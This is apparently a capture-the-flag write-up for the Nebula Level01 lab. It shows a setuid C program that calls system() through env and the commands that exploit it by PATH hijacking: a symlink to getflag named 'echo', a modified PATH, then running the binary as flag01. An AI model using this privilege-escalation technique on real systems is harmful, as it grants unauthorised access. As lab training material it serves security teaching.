In Level01 , we are given the following vulnerable c program:

#include <stdlib.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
 gid_t gid;
 uid_t uid;
 gid = getegid();
 uid = geteuid();

 setresgid(gid, gid, gid);
 setresuid(uid, uid, uid);

 system("/usr/bin/env echo and now what?");
}

This is the code of the /home/flag01/flag01 program that runs as flag01 user

level01@nebula:~$ ls -la /home/flag01/flag01
-rwsr-x--- 1 flag01 level01 7322 Nov 20  2011 /home/flag01/flag01

As setresuid sets the Real, Effective and Saved uids to the effective one (flag01), the following call to system will effectively run as flag01. We just a need to run the getflag program instead. In order to do that, we will create a symbolic link to getflag in our home diretory and call it echo. Now we only need to modify the PATH environment variable.

level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ export PATH=/home/level01:$PATH
level01@nebula:~$ /home/flag01/flag01
You have successfully executed getflag on a target account